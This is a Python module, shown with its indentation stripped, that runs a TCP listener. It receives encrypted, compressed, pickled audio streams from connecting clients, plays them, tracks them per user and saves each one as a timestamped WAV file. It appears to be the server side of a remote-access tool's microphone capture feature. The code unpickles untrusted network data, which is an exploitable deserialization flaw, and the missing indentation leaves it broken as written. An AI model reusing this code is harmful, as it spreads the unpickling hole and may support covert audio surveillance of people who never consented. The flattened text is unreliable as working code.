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import pyaudio
import socket
import pickle
import zlib
import time
import wave
from Utilities.db_queries import get_module_data
from Specific.encrypt import Encryption
from sys import exit
try:
info = get_module_data()
audio_settings = []
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((info[1], int(info[3].split(',')[2])))
s.listen()
except:
exit(0)
def audio_info():
info = '\n'
for index, setting in enumerate(audio_settings):
info += f' - {setting[0]}[{index}]'
if len(audio_settings) > 1 and index + 1 != len(audio_settings):
info += '\n'
if len(audio_settings) == 0:
info = 'False'
return info
def set_audio_settings(index):
global audio_settings
try:
if index == '*':
for audio_setting in audio_settings:
audio_setting[1].close()
return 'Audios closed!'
else:
audio_settings[int(index)][1].close()
return 'Audio closed!'
except:
return 'Audio failed to close.'
def Audio(encoding, path, user):
try:
global audio_settings
CHUNK = 81920
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
headersize = 10
new_msg = True
msg_len = 0
full_msg = b''
msg = b'next'
e = Encryption()
client, addr = s.accept()
u = (user, client, addr)
audio_settings.append(u)
real_msg = pickle.dumps(msg)
real_msg = zlib.compress(real_msg, 1)
real_msg = e.do_encrypt(real_msg)
final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
client.send(final_msg)
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
frames = []
while True:
try:
client_msg = client.recv(81920)
if new_msg:
msg_len = int(client_msg[:headersize])
new_msg = False
full_msg += client_msg
if len(full_msg)-headersize == msg_len:
frame = e.do_decrypt(full_msg[headersize:])
frame = zlib.decompress(frame)
frame = pickle.loads(frame)
stream.write(frame)
frames.append(frame)
real_msg = pickle.dumps(msg)
real_msg = zlib.compress(real_msg, 1)
real_msg = e.do_encrypt(real_msg)
final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
client.send(final_msg)
new_msg = True
msg_len = 0
full_msg = b''
except:
audio_settings.remove(u)
waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb')
waveFile.setnchannels(CHANNELS)
waveFile.setsampwidth(p.get_sample_size(FORMAT))
waveFile.setframerate(RATE)
waveFile.writeframes(b''.join(frames))
waveFile.close()
exit(0)
except:
exit(0)
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